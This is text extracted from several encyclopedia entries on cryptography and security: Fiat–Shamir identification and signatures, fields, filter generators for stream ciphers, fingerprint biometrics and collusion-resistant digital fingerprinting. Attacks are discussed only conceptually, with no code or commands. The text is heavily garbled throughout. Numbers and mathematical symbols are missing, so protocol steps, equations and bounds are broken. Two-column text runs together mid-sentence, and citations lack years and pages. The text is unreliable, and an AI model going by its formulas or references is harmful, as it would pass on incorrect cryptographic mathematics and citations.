. Conway JH, Guy RK () The book of numbers. Springer, only to (Z/pZ) , to any finite group. Fermats little
New York theorem is important to cryptography in that it gives
. Cormen TH, Leiserson CE, Rivest RL, Stein C () Introduction rise to the Fermat primality test, a method for testing
to algorithms. MIT Press, Cambridge
primality.
Recommended Reading
. Conway JH, Guy RK () The book of numbers. Springer,
Fermat Test New York
. Hardy GH, Wright EM () An introduction to the theory of
Fermat Primality Test numbers. Oxford University Press, New York
FiatShamir Identication Protocol and the FeigeFiatShamir Signature Scheme F
ji , and Bob checks Alices biometrics. If correct, Bob then

FiatShamir Identication calculates xi := fi (I, ji ). Else Bob halts.
Protocol and the In the public keybased scheme, Alice reveals her
FeigeFiatShamir Signature identity, and Bob finds her public key in the public key
Scheme directory.
Yvo Desmedt The Protocol

Department of Computer Science, University College Repeat the protocol t times:
London, London, UK
Step Alice chooses uniformly random r and computes
z := r mod n and sends t to Bob.
Related Concepts Step Bob sends Alice bits ei ( i k).
Digital Signatures; FeigeFiatShamir Signature Step Alice sends := r ei = sei i mod n.
Scheme; Interactive Proof; Random Oracle Model; Step Bob verifies that ei = xi = z. F
Zero-knowledge
If all the verifications are correct, Bob accepts.
Denition
FiatShamir proposed the use of zero-knowledge inter-
Parameters
The size of t and k as functions of n are chosen depending
active proofs for entity authentication and using their
whether one uses FiatShamir as an identification protocol
FiatShamir trick to generate digital signatures.
or as a zero-knowledge interactive proof. For more details
see [].
Theory
Introduction FeigeFiatShamir Signature Scheme
There are several variants of the FiatShamir identification The FiatShamir scheme can be used to digitally sign. This
protocol. One way to classify these is based on the number is called the FeigeFiatShamir signature. To sign a message
of secrets. In the basic one [], each prover knows only one m, just use a secure hash function h to compute ei in the
secret. Another, is to distinguish between identity-based above protocol as follows:
and public keybased ones. In both, a trusted center made
public n = p q such that p and q are secret primes only ei := h(z, m) ()
known to the center. where z is as above. Use the FiatShamir protocol and pub-
In the identity-based system [, pp. ] (see also [, , lish as signature: (e, ) where e = (e , . . . , ek ) and is as
]), a trusted center gives each user a secret key, partially above. The use of a hash function to compute e is often
based on biometrics. In particular, to receive an identity called the FiatShamir trick.
from the trusted center, Alice goes to the center. There her To verify the signature, the verifier computes z as in
fingerprints, other biometrics information is collected and Step . Then the verifier uses this z to compute e using
her identity verified. I is the string which contains: Alices Eq. . If e = e, the verifier accepts the signature of m.
identity (name), Alices biometrics, and other information The FiatShamir trick provides secure digital signa-
to identify Alice uniquely. The center chooses k small ji ture schemes under the random oracle model []. Unfor-
( i k) such that xi := f (I, ji ) are quadratic residues tunately, the random oracle model is a questionable proof
modn, where f is a public function. The center calculates
technique, and a deeper study of this impact on the Fiat
as secrets the smallest si := ( xi ) mod n and gives these Shamir can be found in [].
secrets to Alice (write these in Alices smart card).
In the public keybased system, Alice chooses her Recommended Reading
secrets and publishes a public key. In particular, Alice . Burmester MVD, Desmedt YG () Remarks on the soundness
chooses uniformly random si R Zn and computes xi := of proofs. Electron Lett ():
s
i mod n. These xi with Alices identity is published in an . Fiat A, Shamir A () How to prove yourself: practical solu-
authentic public directory. tions to identification and signature problems. In: Odlyzko A (ed)
Advances in cryptology, Proc. of Crypto , Santa Barbara, CA,
August (Lecture notes in computer science ), Springer-
Preliminary Verlag, Heidelberg, pp
In the identity-based scheme, when Bob wants to verify . Fiat A, Shamir A () Unforgeable proofs of identity. In: Securi-
Alices identity, Bob asks Alices identity I together with the com , March , . Paris, France, pp
F Field
. Goldwasser S, Kalai YT () On the (in)security of the at- Applications

shamir paradigm. In: th symposium on foundations of com- Fields, particularly finite fields, are widely employed in
puter science (FOCS ), Proceedings, October ,
both symmetric and asymmetric cryptography.
Cambridge, MA. IEEE Computer Society, pp
. Pointcheval D, Stern J () Security proofs for signature
schemes. In: Maurer U (ed) Advances in cryptology Euro-
crypt , Proceedings, Zaragoza, Spain, May (Lecture
notes in computer science ), Springer-Verlag, Heidelberg, File System Permissions
pp
. Shamir A () Interactive identification, March , .
In: Presented at the workshop on algorithms, randomness and
Permissions
complexity, Centre International de Rencontres Mathmatiques
(CIRM), Luminy (Marseille), France
. Shamir A () The search for provably secure identification
schemes. In: Proceedings of the international congress of mathe- Filter Generator
maticians, August , . Berkeley, CA, pp
Anne Canteaut
Project-Team SECRET, INRIA Paris-Rocquencourt,
Le Chesnay, France
Field
Burt Kaliski Related Concepts
Boolean Functions; Combination Generator; Linear
MA, USA Feedback Shift Register; Stream Cipher
Denition
Related Concepts A filter generator is a running-key generator for stream
Finite Field; Group; Ring cipher applications. It consists of a single linear feed-
back shift register (LFSR) which is filtered by a nonlinear
Denition function. More precisely, the output sequence of a fil-
A field is a ring with a commutative multiplication oper- ter generator corresponds to the output of a nonlinear
ation and a well-defined multiplicative inverse (i.e., a divi- function whose inputs are taken from some stages of the
sion operation). LFSR. If (ut )t denotes the sequence generated by the
LFSR, the output sequence (st )t of the filter generator is
Theory given by
A field F = (S, +, ) is a ring that has a multiplicative
identity (denoted ) and satisfies two additional properties: st = f (ut+ , ut+ , . . . , ut+ n ), t
Commutativity of : For all x, y S, x y = y x. where f is a function of n variables, n is less than or
Multiplicative inverse: For all x S such that x , equal to the LFSR length, and ( i )in is a decreas-
there exists a multiplicative inverse z such that x z = ing sequence of nonnegative integers called the tapping
z x = . sequence.
Thus, a field is a commutative ring with a multiplicative
identity where every element except the additive identity St (running-key)
has a multiplicative inverse, so that division is defined in

the usual way (i.e., the quotient y/x is defined for all x
and y as y z, where z is the multiplicative inverse of x).
The characteristic of a field is the least positive integer f
k such that for all x S, kx = , if such a k exists; it is

defined as otherwise. A finite field is field with a finite
number of elements; the characteristic of a finite field is
always a prime number. The rational numbers Q are an ut+g 1 ut+g 2 ut+g 3 ut+g n ut
example of an infinite field under ordinary addition and

multiplication.
Filter Generator F
Theory output sequence is correlated to some linear function of the

In order to obtain a keystream sequence having good stages of the constituent LFSR (fast correlation attack for
statistical properties, the filtering function f should be bal- details). In order to make the fast correlation attacks com-
anced (i.e., its output should be uniformly distributed), and putationally infeasible, the filtering function should have a
the feedback polynomial of the LFSR should be chosen to high nonlinearity. Moreover, it should have many nonzero
be a primitive polynomial (linear feedback shift register Walsh coefficients.
for more details).
In a filter generator, the LFSR feedback polynomial, Distinguishing attacks exploiting sparse multiples of
the filtering function, and the tapping sequence are usu- the LFSR feedback polynomial can also be mounted, as
ally publicly known. The secret parameter is the initial state described in [] and []; their complexities involve the
of the LFSR which is derived from the secret key of the degree of sparse multiples of the LFSR feedback polyno-
cipher by a key-loading algorithm. Therefore, most attacks mial and the Walsh coefficients of the filtering function.
on filter generators consist in recovering the LFSR initial In particular, the LFSR feedback polynomial should not be
state from the knowledge of some digits of the sequence sparse.
F
produced by the generator (in a known plaintext attack) Another attack on any filter generator is the general-
or of some digits of the ciphertext sequence (in a ized inversion attack. It highly depends on the memory
ciphertext only attack). The attack presented in [] size of the generator, which corresponds to the largest spac-
enables to construct an equivalent keystream generator ing between two taps, i.e., M = n . To make this
from the knowledge of a large segment of the ciphertext attack infeasible, the tapping sequence should be such that
sequence when the LFSR feedback polynomial is the only the memory size is large and preferably close to its max-
known parameter (i.e., when the filtering function, the imum possible value, L , where L is the LFSR length.
tapping sequence, and the initial state are kept secret). Moreover, when the greatest common divisor of all spac-
Any filter generator is equivalent to a particular ing between the taps, gcd( i i+ ), is large, the effective
combination generator, in the sense that both generators memory size can be reduced by a decimation technique
produce the same output sequence. An equivalent combi- (inversion attack). Then, the greatest common divisor of
nation generator consists of n copies of the LFSR used in all ( i i+ ) should be equal to .
the filter generator with shifted initial states; the combining The choice of the tapping sequence also conditions the
function corresponds to the filtering function. resistance to the so-called conditional correlation attacks
[, , ]. The basic idea of these particular correlation attack
Statistical properties of the output sequence. The output
is that some information on the LFSR sequence may leak
sequence s of a filter generator is a linear recurring
when some patterns appear in the keystream sequence.
sequence. Its linear complexity, (s), is related to the LFSR
Actually, the keystream bits st and st+ , with , respec-
length and to the algebraic degree of the filtering function f
tively, depend on the LFSR-output bits ut+ , . . . , ut+ n
(the algebraic degree of a Boolean function is the highest
and ut+ + , . . . , ut+ n + . Therefore, the pair (st , st+ ) only
number of terms occurring in a monomial of its algebraic
depends on M I() bits of the LFSR sequence, where M
normal form). For a binary LFSR with a primitive feedback
is the memory size and I() is the size of the intersection
polynomial, we have
between { i , i n} and { i + , i n}, i.e., the
d
L number of pairs (i, j) with i < j such that i j = .
(s) ( )
i= i
It is then clear that a given observation of (st , st+ ) may
provide some information on the (M I()) involved bits
where L denotes the LFSR length and d denotes the alge-
of the LFSR sequence when I() is large. Thus, I() should
braic degree of f [, ]. The period of s divides L .
be as small as possible for all values of . It can be
Moreover, if L is a large prime, (s) is at least (Ld) for most
proved that the lowest possible value of max I() is ,
filtering functions with algebraic degree d (see []).
and it is achieved when the tapping sequence is a full posi-
Thus, to achieve a high linear complexity, the LFSR
tive difference set, i.e., when all differences i j , i < j are
length L and the algebraic degree of the filtering func-
distinct. Such a tapping sequence of n integers only exists if
tion should be large enough. More precisely, the keystream
the LFSR length exceeds n(n )/ (see []). More details
length available to an attacker should always be much
of this attack and on the related security criteria for the
smaller than (deg(L
f)
).
filtering function can be found in [].
Known attacks and related design criteria. Filter generators Advanced algebraic techniques, like Grbner bases,
are vulnerable to fast correlation attacks because their also provide powerful known plaintext attacks on filter
F Fingerprint
generator, called algebraic attacks []. Any keystream bit . Rueppel RA () Analysis and design of stream ciphers.
can be expressed as a function of the L initial bits of Springer, New York
the LFSR. Thus, the knowledge of any N keystream bits
ciphertext only. IEEE Trans Comput C-():
lead to an algebraic system of N equations of L variables.
The degree of these equations correspond to the algebraic
degree of the filtering function. But, efficient Grbner bases
techniques enable to substantially lower the degree of the
equations by multiplying them by well-chosen multivari- Fingerprint
ate polynomials. Then, it may be possible to recover the
LFSR initial state by solving the algebraic system even if the Ruggero Donida Labati, Fabio Scotti
filtering function has a high degree (see [] for a survey). Dipartimento di Tecnologie dellInformazione,
The related security criterion is that the filtering function Universita degli Studi di Milano, Crema (CR), Italy
must have a high algebraic immunity. More sophisti-
cated attacks exploiting some algebraic properties of the
filter generator includes cube attacks and several related Related Concepts
distinguishing attacks. Biometric Identification
Denition
Recommended Reading Fingerprints are reproductions of the surface pattern of
. Anderson RJ () Searching for the optimum correla- the fingertip epidermis. This pattern is a characteristic
tion attack. In: Fast Software Encryption . Lecture sequence of interleaved ridges and valleys, usually consid-
notes in computer science, vol . Springer, Heidelberg, ered as unique for each individual.
pp
. Canteaut A () Open problems related to algebraic attacks
on stream ciphers. In: Coding and cryptography WCC .
Background
Lecture notes in computer science, vol . Springer, Heidel- Fingerprints are the most used and known biometric traits.
berg pp Biometric systems based on the fingerprint trait estimate
. Courtois NT, Meier W () Algebraic attacks on stream the identity of an individual by extracting and compar-
ciphers with linear feedback. In: Advances in cryptology -
ing information related to the characteristics of the ridge
EUROCRYPT . Lecture notes in computer science,
pattern.
. Englund H, Johansson T () A new simple technique to Fingerprint recognition systems are used in differ-
attack filter generators and related ciphers. In: Selected areas in ent contexts []. Important applications of the finger-
cryptography SAC . Lecture notes in computer science, print trait are the forensic investigation, and the public
sector applications (e.g., border controls, police archives,
. Golic JDj () On the security of nonlinear filter generators.
In: Fast Software Encryption . Lecture notes in computer
national archives, and biometric documents). Also in the
science, vol . Springer, Heidelberg, pp private sector, fingerprint biometric systems are commonly
. Gouget A, Sibert H () Revisiting correlation-immunity in fil- deployed to control the accesses to critical areas, con-
ter generators. In: Selected areas in cryptography SAC . soles, data and electronic devices (e.g., personal com-
Lecture notes in computer science, vol . Springer, Heidel-
puters, PDA, and mobile phones). Emerging sectors for
berg, pp
. Key EL () An analysis of the structure and complexity
the application of these technologies are e-government,
of nonlinear binary sequence generators. IEEE Trans Inform e-commerce, and e-banking.
Theory : Fingerprint recognition is the most mature biometric
. Lee S, Chee S, Park S, Park S. Conditional correlation attack technology. In fact, fingerprint was introduced as a method
on nonlinear filter generators. In: Advances in cryptology
for person identification before , and the first auto-
ASIACRYPT. Lecture notes in computer science, vol .
matic fingerprint recognition systems was introduced in
. Massey JL () The ubiquity of Reed-Muller codes. the s.
In: Applied algebra, algebraic algorithms and error-correcting Fingerprint is a biometric trait with high permanence
codes AAECC-. Lecture notes in computer science, vol . and distinctiveness. The fingertip ridge structure is fully
formed at about months of fetus development, and this
. Molland H, Helleseth T () An improved correlation attack
against irregular clocked and filtered generator. In: Advances in
pattern configuration does not change for all the life unless
cryptology CRYPTO . Lecture notes in computer science, serious accidents or diseases. Usually, cuts and bruises can
vol . Springer, Heidelberg, pp only temporarily modify the fingerprint pattern.
Fingerprint F
In general, fingerprints are a part of an individuals minimum size of the captured area, minimum number of
phenotype and are different for each individual. Also the pixels, maximum geometry distortion of the acquisition
fingerprints of the same person are different, and even device, minimum number of gray-levels, maximum gray-
in the case of the fingerprints of identical twins are not level uniformity, minimum spatial frequency response of
equal. The social acceptability of the use of the fingerprint the device, and minimum signal to noise ratio.
biometric trait can be considered as limited, since peo- In many law enforcement and government applications
ple perceive this biometric trait as related to police and when Automatic Fingerprint Identification Systems (AFIS)
investigative activities. are involved, the size of the fingerprint database is typ-
ically very large. For example, the FBI fingerprint card
Theory archive contains over million of identities. In such
cases, compressed formats are adopted. One of the most
Fingerprint Images used compression algorithm had been proposed by the FBI
Three different classes of fingerprint images can be iden- and it is based on the Wavelet Scalar Quantization (WSQ)
tified: latent fingerprints, inked fingerprints, and live-scan technique.
F
fingerprints.
Latent fingerprints are very important in forensics. Fingerprint Analysis
This kind of fingerprints is produced by the transfer of the The analysis of the ridge details can be performed with
film of moisture and grease that is present on the surface three different levels of accuracy.
of the finger when contacts to objects occur. Usually, latent
Level : the overall global ridge flow pattern is consid-
fingerprint are not visible to naked eye and forensic inves-
ered.
tigators use proper substances for enhancing the visibility
Level : the analysis is based on distinctive points of the
of the ridge pattern.
ridges, called minutiae points.
Inked fingerprints are typically obtained with the
Level : ultra-thin details, such as pores and local pecu-
following procedure. The users finger is spread with
liarities of the ridge edges, are studied.
black/blue ink and then rolled on a paper card, secondly
the card is converted into a digital form by means of a high- Examples of characteristics analyzed at Level are the
definition paper-scanner or by using a high-quality CCD local ridge orientation, the local ridge frequency, the singular
camera. regions, and the ridge count. The local ridge orientation is
Live-scan fingerprints are obtained by impressing a estimated as the angle of the ridges with respect to the hor-
finger on the acquisition surface of a device. It is possible izontal axis. The ridge orientation map of the fingerprint
to distinguish three different types of live-scan sensor tech- can be computed by estimating the local ride orientation
nologies: optical sensors; solid state sensors; ultrasound in areas centered in each pixel of the fingerprint images. In
sensors. Figure shows an example of images obtained by the literature, most of the methods for the computation of
the different fingerprint acquisition methods. the ridge orientation map are based on the analysis of the
Only good quality images have to be stored in order gradient of the fingerprint image [].
to achieve subsequently accurate biometric recognitions The local ridge frequency is the number of ridges per
by automatic systems. For example, the Federal Bureau unit length along a segment that is orthogonal to the ridge
of Investigation (FBI) of the USA defined a set of main orientation. The ridge frequency map represents the local
parameters characterizing the acquisition of a digital ridge frequency computed in each pixel of the fingerprint
fingerprint image encompassing minimum resolution, image.
Fingerprint. Fig. Examples of ngerprint images: (a) latent; (b) rolled and inked; (c) live-scan
F Fingerprint
Fingerprint. Fig. Examples of singular regions: (a) loop; (b) delta; (c) whorl
Fingerprint. Fig. Examples of common minutiae types: (a) termination; (b) bifurcation; (c) lake; (d) point or island; (d) indepen-
dent ridge; (f) spur; (g) crossover
An important Level analysis consists of the estima- Another important information related to each minutia is
tion of the singular regions. A singular region represents its direction, considered as the value of the ridge orienta-
an area of the finger with a distinctive shape of the ridges. tion map in the minutia coordinates.
Commonly, three different types of singular regions are An additional step that can be present in the fingerprint
considered: loop, delta, and whorl. The distinctive shapes analysis is the image enhancement. Different algorithms
of these regions are , , and O respectively (Fig. ). In are available [], for example, pixel-wise enhancement,
the literature, the majority of the methods for the estima- contextual filtering, and multi-resolution enhancement.
tion of the singular points uses the Poincar technique [] One of the most famous enhancement method applies a
applied on the ridge orientation map. From the analysis of set of Gabor filters to the fingerprint image according to
the singular regions, it is also possible to estimate a ref- the ridge orientation map and the ridge frequency map [].
erence point in the fingerprint, which is called core point. Level analysis requires high-resolution acquisition
Examples of other characteristics of Level are the ridge devices (with at least dpi) and it is not com-
count [] and other global mapping information obtained monly applied in commercial systems. Standard features
by the application of Gabor filters on the input fingerprint extracted at this level of analysis consist in the spatial
images []. coordinates of the pores.
Level analysis evaluates specific ridge discontinuities Captured fingerprint images can have very different
called minutiae. It is possible to distinguish many different quality levels. In particular, low levels of the finger-
classes of minutiae (Fig. ), but most of the automatic bio- print quality can compromise the identity verifica-
metric systems in the literature consider only terminations tion/recognition []. In order to control this factor, quality
and bifurcations. Usually, the identification of the minutia estimation methods are usually considered [, ]. Quality
can be achieved in four main steps []: () an adaptive bina- estimation is also useful to select unrecoverable image
rization is applied in order to separate the ridges from the regions, to reduce the artifacts product by the enhance-
background in the fingerprint image; () a thinning oper- ment algorithms, and to properly weight the extracted
ation is achieved in order to reduce the thickness of the features according to the local quality level of the input
ridges to one single pixel; () the coordinates of the minu- fingerprint.
tiae are estimated by observing the specific local pattern
of each single pixel of the ridges, typically in its eight- Fingerprint Matching
neighborhood; () a post-processing method is applied in Fingerprint matching algorithms compute a similar-
order to reduce the number of false minutiae detected in ity index called match-score of two fingerprints used
the previous step. in the verification/identification procedures. It is pos-
A different approach for the minutiae identification sible to divide the fingerprint matching algorithms
processes directly gray-scale images without the binariza- in three different classes: correlation-based techniques;
tion step and it based on the capability to follow the ridges minutiae-based methods; and methods based on other
in the input image by observing the local orientation []. features.
Fingerprint F
The correlation-based techniques computes the match- used for reducing the required number of identity to be
score between two fingerprint images. The images are compared consists in the creation of partitions (called bins)
scaled, translated, rotated, equalized, and then, the match- containing only fingerprint that appertain to a defined
score is obtained as the correlation between the two class.
images. This approach is rather basic and not com- Usually, fingerprint are classified by the GaltonHenry
monly present in automated fingerprint recognition classification scheme. This scheme is based on Level fea-
system. tures and is composed by classes (arch, tented-arch, left
The minutiae-based methods are the most studied and loop, right loop, and whorl). Figure shows an exam-
applied in the literature []. Most of the methods per- ple of the considered classes. Fingerprint classification can
form an alignment of the minutiae extracted from two be achieved by different approaches, such as neural net-
fingerprint images by shift and rotate operations, and then works classifiers, statistical methods, syntactic methods,
the match-score is computed as the number of matched rule-based methods, support vector machines []. Further
minutiae pairs divided by the mean number of minutiae strategies can be applied for reducing the number of iden-
in the two images. The alignment step is necessary for tity comparisons such as the use of a subclassification
F
reducing problems related to difference of scale, rotation, [] and the computation of continuous indexes related to
translation, and non linear distortion caused by different different fingerprint features [].
pressures of the finger on the sensor. It is possible to dis-
tinguish global and local minutiae matching algorithms.
Global algorithms consider all the minutiae points of the Security and Privacy in Fingerprint
two fingerprint images and search the best match-score by Recognition Systems
using different alignment strategies. For example, global All hardware and software modules composing a finger-
minutiae matching methods can be based on algebraic print recognition system can be subject to attacks. In the
geometry, Hough transform, relaxation, energy minimiza- literature, the majority of the techniques focuses on the
tion. Local algorithms consider sets of minutiae divided injection of fingerprint data (e.g., fake fingers, injection of
in sub-portions, for example by adopting auxiliary graph fingerprint data in the communication channel or in the
structures (e.g., Delaunay triangles []). Local minutiae storage system) and the replacement of software modules
matching methods can be based on triangulation, multiple with a modified/malicious version in order to force/avoid
registration strategies, and warping techniques. the final match-score.
Other fingerprint matching methods can use features The former approach of attacks can be countered
extracted at different levels as support information for pro- by vitality controls []. It is possible to divide these
cessing a match-score based on the minutiae set or directly methods in two categories: methods based on involun-
process features extracted at Level or Level (e.g., the tary captured information by the biometric scanner, and
template creation technique processed at Level called methods that measure a voluntary response of the user.
Fingercode []). The first category evaluates directly physical character-
istics (e.g., heartbeat, odor, arterial oxygen saturation of
hemoglobin, pulse presence) or characteristics extracted
Fingerprint Classication and Indexing from one single fingerprint images or frame sequences
The identification procedure requires to compare the cap- (e.g., fine movements of the fingertip surface, involuntary
tured biometric template with all the templates stored challenge-response, valley noise, pores presence). The sec-
in a database. In the case of very large databases, the ond approach analyzes the voluntary behavior of the user,
computational time required for a complete full set of information related to other biometric traits as in multi-
biometric comparisons can be unacceptable. A strategy biometrics [], additional data provided by the user (e.g.,
Fingerprint. Fig. GaltonHenry classication scheme: (a) left loop; (b) right loop; (c) whorl; (d) arch; (e) tented arch
F Fingerprint
password, smart-card, and voluntary challenge-response) . Jain A, Prabhakar S, Hong L, Pankanti S () Filterbank-based
or surveillance. fingerprint matching. IEEE Trans Image Proces ():
. Maio D, Maltoni D () Direct gray-scale minutiae detection
The protection of the user privacy is an important
in fingerprints. IEEE Trans Pattern Anal Mach Intell :
issue to be considered when fingerprint recognition sys- . Hong L, Wan Y, Jain A () Fingerprint image enhancement:
tems are deployed [, ]. Techniques based on bio- algorithm and performance evaluation. IEEE Transactions on
metric encryption are often considered to achieve the Pattern Analysis and Machine Intelligence ():
protection of the fingerprint template []. The most . Gamassi M, Lazzaroni M, Misino M, Piuri V, Sana D, Scotti F
() Quality assessment of biometric systems: a comprehen-
known methods are the following: salting techniques, sys-
sive perspective based on accuracy and performance measure-
tems that non-invertible transforms, key-binding biomet- ment. IEEE Trans Instrum Meas ():
ric cryptosystem, key generating biometric cryptosystem, . Alonso-Fernandez F, Fierrez J, Ortega-Garcia J, Gonzalez-
and homomorphic cryptosystems. Rodriguez J, Fronthaler H, Kollreider K, Bigun J () A com-
Technologies for decentralizing fingerprint recognition parative study of fingerprint image-quality estimation methods.
IEEE Trans Inf Forensic Secur ():
computation are also available with specific reference to
. Donida Labati R, Piuri V, Scotti F () Neural-based quality
the match-on-card systems, system-on-device and system- measurement of fingerprint images in contactless biometric sys-
on-a-chip technologies. An important advantage offered tems. In: The international joint conference on neural
by these technologies is that the user can keep the pos- network (IJCNN), Barcelona, pp
session of her/his templates (mostly on a tamper resistant . Yager N, Amin A () Fingerprint verification based on
minutiae features: a review. Pattern Anal Appl :
hardware). The main disadvantage of such approach is that
. Liang X, Bishnu A, Asano T () A robust fingerprint
the obtained performances in terms of accuracy and com- indexing scheme using minutia neighborhood structure and
putational time tend to be inferior than the performances low-order delaunay triangles. IEEE Trans Inf Forensic Secur
of dedicated and PC-based fingerprint systems. ():
. Cappelli R, Maio D () The state of the art in fingerprint
Applications classification. In: Ratha N, Bolle R (eds) Automatic fingerprint
recognition systems. Springer, New York, pp
The applications of fingerprint technology are heteroge-
. Drets GA, Liljenstrm HG () Fingerprint sub-classification:
neous and range from the public to private sector. In the a neural network approach. In: Intelligent biometric techniques
market there are available fingerprint recognition systems in fingerprint and face recognition. CRC, Boca Raton, pp
with a great difference of sizes of sensors, costs, and accu-
racy [, ]. For example, there are systems integrated in . Coli P, Marcialis G, Roli F () Vitality detection from finger-
print images: a critical survey. In: Lee S-W, Li S (eds) Advances
electronic devices (e.g., PDA and mobile phones), on-card
in biometrics. Lecture Notes in Computer Science, vol .
systems, systems based on a personal computers, and large Springer, Berlin, pp
distributed systems [] such as the AFIS []. . Azzini A, Marrara S, Sassi R, Scotti F () A fuzzy approach to
The main applicative contexts of fingerprint recogni- multimodal biometric continuous authentication. Fuzzy Optim
tion systems are in forensics, governmental, and commer- Decis Mak :
. Cimato S, Gamassi M, Piuri V, Sassi R, Scotti F () Privacy
cial sectors. In the forensic sector, the fingerprint trait is
in biometrics. In: Biometrics: theory, methods, and applications.
used for the identification of persons, the search of lost Wiley, New York
person, and general investigative activities. In the govern- . Cimato S, Gamassi M, Piuri V, Sassi R, Scotti F () Privacy-
mental sector, important applications are border controls, aware biometrics: design and implementation of a multimodal
biometric documents (e.g., passports and IDs). Examples verification system. In: Annual computer security applications
conference (ACSAC), Anaheim, pp
of applications in the commercial sector are authentication
. Jain AK, Nandakumar K, Nagar A () Biometric template
systems integrated to ATM, terminal login, access con- security. EURASIP J Adv Signal Process :
trol for on-line services (e.g., e-commerce and e-banking . Barni M, Bianchi T, Catalano D, Di Raimondo M, Donida
applications), and the protection of sensible data (e.g., in Labati R, Failla P, Fiore D, Lazzeretti R, Piuri V, Piva A, Scotti
personal computers, PDA, mobile phones, and storage F () A privacy-compliant fingerprint recognition system
based on homomorphic encryption and fingercode templates.
devices) and access control to restricted areas.
In: Fourth IEEE international conference on biometrics: theory
applications and systems (BTAS), Washington, DC, pp
Recommended Reading . Barni M, Bianchi T, Catalano D, Raimondo MD, Donida Labati
. Maltoni D, Maio D, Jain AK, Prabhakar S () Handbook of R, Failla P, Fiore D, Lazzeretti R, Piuri V, Scotti F, Piva A ()
fingerprint recognition, nd edn. Springer, New York Privacy preserving fingercode authentication. In: Proceedings
. Hou Z, Yau W-Y, Wang Y () Security and communication of the th ACM workshop on multimedia and security. ACM,
networks. John Wiley & Sons, Ltd New York, pp
. Lin W-C, Dubes RC () A review of ridge counting in . Bianchi T, Donida Labati R, Piuri V, Piva A, Scotti F, Turchi S
dermatoglyphics. Pattern Recognition (): () Implementing fingercode-based identity matching in the
Fingerprinting F
encrypted domain. In: IEEE workshop on biometric mea- closely related concept of watermarking is aimed at trac-
surements and systems for security and medical applications ing the owner of the contents and is not intended to fight
(BIOMS), Taranto, pp
collusion attacks.
. Piuri V, Scotti F () Fingerprint biometrics via low-cost sen-
sors and webcams. In: Second IEEE international conference
on biometrics: theory, applications and systems (BTAS), Crystal Background
City, pp The first mention of fingerprinting in the literature dates
. Gamassi M, Piuri V, Sana D, Scotti F, Scotti O () Scalable back to []. Presently there are two main trends
distributed biometric system advanced techniques for security
in fingerprinting, depending on the acceptance of the
and safety. IEEE Instrum Meas Mag ():
. Komarinski P () Automated fingerprint identification sys- so-called marking assumption. Under this assumption, the
tems (AFIS). Elsevier Academic, Amsterdam document v and the fingerprint x are strings over some
finite alphabet Q (a typical length of v is in the range
of megabytes or greater, while the length of x is on the
order of several kilobytes). The location of x in v is not
F
Fingerprint Authentication known to the users nor is it assumed that the bits of x
form a consecutive substring of v. However, for practical
reasons, fingerprints occupy the same positions in all the
Biometric Authentication
copies of v. A pirate user or a coalition of t such users can
detect some positions that belong to x. It is assumed that
changing any undetectable position of the users copy of the
document makes it useless and obliterates its market value.
Fingerprinting This scenario applies for instance to fingerprinting licensed
software. Fingerprinting under the marking assumption
Alexander Barg , Gregory Kabatiansky was introduced by Chor et al. who studied distribution of
Department of Electrical and Computer Engineering, decryption keys used to access pay-per-view TV programs
University of Maryland, College Park, MD, USA and similar applications []. The main tools of mathemati-
Dobrushin Mathematical Lab, Institute for Information cal analysis of fingerprinting with the marking assumption
Transmission Problems RAS, Moscow, Russia are combinatorial-, information-, and coding-theoretic.
In the absence of the marking assumption, both the
distributor and the users are allowed to add relatively small
Related Concepts distortion to the original document. The main application
Broadcast Encryption; Traitor Tracing; Watermarking of this scenario is fingerprinting of digital media such as
image, video, audio, and speech content. In such appli-
Denition cations, slight differences from the original version will
Fingerprinting is a technique that aims at preventing unau- not affect the quality of users copies. It is assumed that
thorized redistribution of digital content or digital piracy. both the signal and the fingerprint are real random vari-
This assumes a multitude of scenarios under which identi- ables that obey some probability distribution. Establishing
cal or very close copies of a document v (software, images, resilience of the system against collusion attacks relies on
or other digital media) are made available to a large num- probabilistic or information-theoretic analysis.
ber of users of the system by paid subscription. Finger-
printing consists in embedding a mark x (a fingerprint) in Theory
the document with the purpose of encoding the identity
Fingerprinting of Digital Data
of the user. Fingerprints should not be easily detectable or
Let M = {, , . . . , M} be the set of users of a distribution
removable; they must be also designed in a way that makes
system of fingerprinted data. It is assumed that each of the
forgery difficult or expensive. In the area of content distri-
M users of the system is assigned a fingerprint given by an
bution, the functionality associated with the fingerprinting
n-dimensional vector over a finite alphabet Q. The design
system is its resistance to a collusion attack. A group or
of the system involves the following components:
coalition of users of the system is said to perform a collu-
sion attack if they produce a copy of the document v with . The assignment of fingerprints to the users is accom-
either an obfuscated (for instance, totally removed) finger- plished by a mapping fk : M Qn , where k K and
print or a fingerprint that does not enable the distributor K is the set of keys used to hide the encoding mapping
D to trace it back to any of the members of the coalition. A from possible collusion attacks by the users.
F Fingerprinting
. The identification of the members of the pirate coali- A fingerprinting code that has the tracing capability
tion relies on a mapping k : Qn M {/} that is for the narrow-sense rule is said to possess a t-identifiable
designed to enable the distributor to locate the pirates parent property (IPP). The study of such codes was under-
irrespective of the coalitions strategy. taken in [, , , ]. The codes are designed to be able to
always recover at least one member of the pirate coalition,
Let U = {u , . . . , ut } M denote the pirate coalition
i.e., assume a zero error probability of identification. It is
and let fk (U) = {x , . . . , xt } be the set of the fingerprints
easy to show that if the alphabet size q = Q t, the maxi-
of its members, where xi = f (ui ) for i = , . . . , t. The
mum number of users of such a system is M t. For q t+
pirates launch an attack against the distributor D using a
it is possible to construct codes with the t-IPP of size M
stochastic mapping defined by a probability distribution
such that log M = (n); see [, ]. Upper bounds on the
V(yfk (U)). Both the distributor and the pirates optimize
size of such codes were obtained in [, ].
their strategies in an attempt to accomplish their goals.
The wide-sense envelope reflects a more general prob-
The pirates choose the mapping V that maximizes the
lem statement under which the members of the coalition
error probability of identification by D, while the distribu-
have more amplitude in creating an unregistered copy of
tor constructs the fingerprinting code (fk , k ) that ensures
the document, In particular, the wide-sense envelope of
reliable identification for all coalition strategies V.
the coalition is larger than the narrow-sense one for all
The fingerprinting problem of this kind was introduced
alphabets of size q . Properties of fingerprinting codes
in as a part of a broader area known as traitor tracing
resistant to the collusion attack in the wide sense were
and formalized in later works []. The main body of work
established for any alphabet size q [, ].
that relates to the digital fingerprinting problem relies on
A randomized fingerprinting code is a random variable
the marking assumption mentioned in the introduction.
(F, ) taking values in the family {(fk , k ), k K} with
Call coordinate i of the fingerprints undetectable for the
probability (k) defined on the set of keys K. The error
coalition U if
probability of identification is defined as
xi = xi = = xti
e(U, F, , V) = (k) V(yfK (U)),
and detectable otherwise. The marking assumption states kK y: K (y)/
U
that for any fingerprint y created by the coalition, yi =
